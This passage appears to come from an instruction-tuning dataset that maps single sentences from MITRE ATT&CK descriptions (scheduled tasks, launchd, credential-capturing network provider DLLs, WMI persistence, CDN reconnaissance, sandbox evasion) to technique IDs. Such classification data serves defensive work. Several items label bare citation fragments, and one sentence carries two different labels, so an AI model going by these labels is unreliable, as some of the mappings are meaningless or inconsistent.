a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments).", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation:", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation: ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "TechNet Task Scheduler Security)", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: TechNet Task Scheduler Security) ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence.", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges).", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent)", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent) ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This technique is deprecated due to the inaccurate usage.", "output": "T1053.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This technique is deprecated due to the inaccurate usage. ### Response: T1053.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The report cited did not provide technical detail as to how the malware interacted directly with launchd rather than going through known services.", "output": "T1053.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The report cited did not provide technical detail as to how the malware interacted directly with launchd rather than going through known services. ### Response: T1053.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Other system services are used to interact with launchd rather than launchd being used by itself.", "output": "T1053.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Other system services are used to interact with launchd rather than launchd being used by itself. ### Response: T1053.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse the <code>Launchd</code> daemon to perform task scheduling for initial or recurring execution of malicious code.", "output": "T1053.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse the <code>Launchd</code> daemon to perform task scheduling for initial or recurring execution of malicious code. ### Response: T1053.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The <code>launchd</code> daemon, native to macOS, is responsible for loading and maintaining services within the operating system.", "output": "T1053.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The <code>launchd</code> daemon, native to macOS, is responsible for loading and maintaining services within the operating system. ### Response: T1053.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in <code>/System/Library/LaunchDaemons</code> and <code>/Library/LaunchDaemons</code> (Citation: AppleDocs Launch Agent Daemons).", "output": "T1053.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in <code>/System/Library/LaunchDaemons</code> and <code>/Library/LaunchDaemons</code> (Citation: AppleDocs Launch Agent Daemons). ### Response: T1053.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).", "output": "T1053.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence). ### Response: T1053.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may use the <code>launchd</code> daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence.", "output": "T1053.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may use the <code>launchd</code> daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. ### Response: T1053.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "<code>launchd</code> can also be abused to run a process under the context of a specified account.", "output": "T1053.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: <code>launchd</code> can also be abused to run a process under the context of a specified account. ### Response: T1053.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Daemons, such as <code>launchd</code>, run with the permissions of the root user account, and will operate regardless of which user account is logged in.", "output": "T1053.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Daemons, such as <code>launchd</code>, run with the permissions of the root user account, and will operate regardless of which user account is logged in. ### Response: T1053.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts.", "output": "T1556", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. ### Response: T1556."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials.", "output": "T1556", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. ### Response: T1556."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).", "output": "T1556", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078). ### Response: T1556."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms.", "output": "T1556", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. ### Response: T1556."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.", "output": "T1556", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. ### Response: T1556."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may register malicious network provider dynamic link libraries (DLLs) to capture cleartext user credentials during the authentication process.", "output": "T1556.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may register malicious network provider dynamic link libraries (DLLs) to capture cleartext user credentials during the authentication process. ### Response: T1556.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Network provider DLLs allow Windows to interface with specific network protocols and can also support add-on credential management functions.(Citation: Network Provider API) During the logon process, Winlogon (the interactive logon module) sends credentials to the local `mpnotify.exe` process via RPC.", "output": "T1556.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Network provider DLLs allow Windows to interface with specific network protocols and can also support add-on credential management functions.(Citation: Network Provider API) During the logon process, Winlogon (the interactive logon module) sends credentials to the local `mpnotify.exe` process via RPC. ### Response: T1556.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The `mpnotify.exe` process then shares the credentials in cleartext with registered credential managers when notifying that a logon event is happening.(Citation: NPPSPY - Huntress)(Citation: NPPSPY Video)(Citation: NPLogonNotify)", "output": "T1556.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The `mpnotify.exe` process then shares the credentials in cleartext with registered credential managers when notifying that a logon event is happening.(Citation: NPPSPY - Huntress)(Citation: NPPSPY Video)(Citation: NPLogonNotify) ### Response: T1556.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can configure a malicious network provider DLL to receive credentials from `mpnotify.exe`.(Citation: NPPSPY)", "output": "T1556.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can configure a malicious network provider DLL to receive credentials from `mpnotify.exe`.(Citation: NPPSPY) ### Response: T1556.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once installed as a credential manager (via the Registry), a malicious DLL can receive and save credentials each time a user logs onto a Windows workstation or domain via the `NPLogonNotify()` function.(Citation: NPLogonNotify)", "output": "T1556.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once installed as a credential manager (via the Registry), a malicious DLL can receive and save credentials each time a user logs onto a Windows workstation or domain via the `NPLogonNotify()` function.(Citation: NPLogonNotify) ### Response: T1556.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may target planting malicious network provider DLLs on systems known to have increased logon activity and/or administrator logon activity, such as servers and domain controllers.(Citation: NPPSPY - Huntress)", "output": "T1556.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may target planting malicious network provider DLLs on systems known to have increased logon activity and/or administrator logon activity, such as servers and domain controllers.(Citation: NPPSPY - Huntress) ### Response: T1556.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation:", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation: ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation:", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation: ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft DART Case Report 001)", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft DART Case Report 001) ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation:", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malware Persistence on OS X)(Citation: amnesia malware)", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malware Persistence on OS X)(Citation: amnesia malware) ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription.", "output": "T1546.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. ### Response: T1546.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs.", "output": "T1546.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. ### Response: T1546.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Examples of events that may be subscribed to are the wall clock time, user loging, or the computer's uptime.(Citation: Mandiant M-Trends 2015)", "output": "T1546.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Examples of events that may be subscribed to are the wall clock time, user loging, or the computer's uptime.(Citation: Mandiant M-Trends 2015) ### Response: T1546.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.(Citation: FireEye WMI SANS 2015)(Citation: FireEye WMI 2015)", "output": "T1546.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.(Citation: FireEye WMI SANS 2015)(Citation: FireEye WMI 2015) ### Response: T1546.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also compile WMI scripts into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription.(Citation: Dell WMI Persistence)(Citation:", "output": "T1546.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also compile WMI scripts into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription.(Citation: Dell WMI Persistence)(Citation: ### Response: T1546.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft MOF May 2018)\n\nWMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.", "output": "T1546.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft MOF May 2018)\n\nWMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges. ### Response: T1546.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search freely available technical databases for information about victims that can be used during targeting.", "output": "T1596", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search freely available technical databases for information about victims that can be used during targeting. ### Response: T1596."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citation:", "output": "T1596", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: ### Response: T1596."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Circl Passive DNS)(Citation:", "output": "T1596", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Circl Passive DNS)(Citation: ### Response: T1596."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Medium SSL Cert)(Citation: SSLShopper Lookup)(Citation:", "output": "T1596", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Medium SSL Cert)(Citation: SSLShopper Lookup)(Citation: ### Response: T1596."}{"instruction": "List the MITRE techniques contained in the text.", "input": "DigitalShadows CDN)(Citation: Shodan)", "output": "T1596", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: DigitalShadows CDN)(Citation: Shodan) ### Response: T1596."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search in different open databases depending on what information they seek to gather.", "output": "T1596", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search in different open databases depending on what information they seek to gather. ### Response: T1596."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", "output": "T1596", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). ### Response: T1596."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search content delivery network (CDN) data about victims that can be used during targeting.", "output": "T1596.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. ### Response: T1596.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "CDNs allow an organization to host content from a distributed, load balanced array of servers.", "output": "T1596.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: CDNs allow an organization to host content from a distributed, load balanced array of servers. ### Response: T1596.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "CDNs may also allow organizations to customize content delivery based on the requestor\u2019s geographical region.", "output": "T1596.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: CDNs may also allow organizations to customize content delivery based on the requestor\u2019s geographical region. ### Response: T1596.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search CDN data to gather actionable information.", "output": "T1596.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search CDN data to gather actionable information. ### Response: T1596.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN.", "output": "T1596.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. ### Response: T1596.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization\u2019s website.(Citation: DigitalShadows CDN)", "output": "T1596.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization\u2019s website.(Citation: DigitalShadows CDN) ### Response: T1596.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or", "output": "T1596.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or ### Response: T1596.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)).", "output": "T1596.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)). ### Response: T1596.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may employ various means to detect and avoid virtualization and analysis environments.", "output": "T1497", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may employ various means to detect and avoid virtualization and analysis environments. ### Response: T1497."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox.", "output": "T1497", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. ### Response: T1497."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant.", "output": "T1497", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. ### Response: T1497."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They may also search for VME artifacts before dropping secondary or additional payloads.", "output": "T1497", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They may also search for VME artifacts before dropping secondary or additional payloads. ### Response: T1497."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)", "output": "T1497", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness) ### Response: T1497."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization.", "output": "T1497", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. ### Response: T1497."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment.", "output": "T1497", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. ### Response: T1497."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015)", "output": "T1497", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015) ### Response: T1497."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments.", "output": "T1497.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. ### Response: T1497.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox.", "output": "T1497.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or 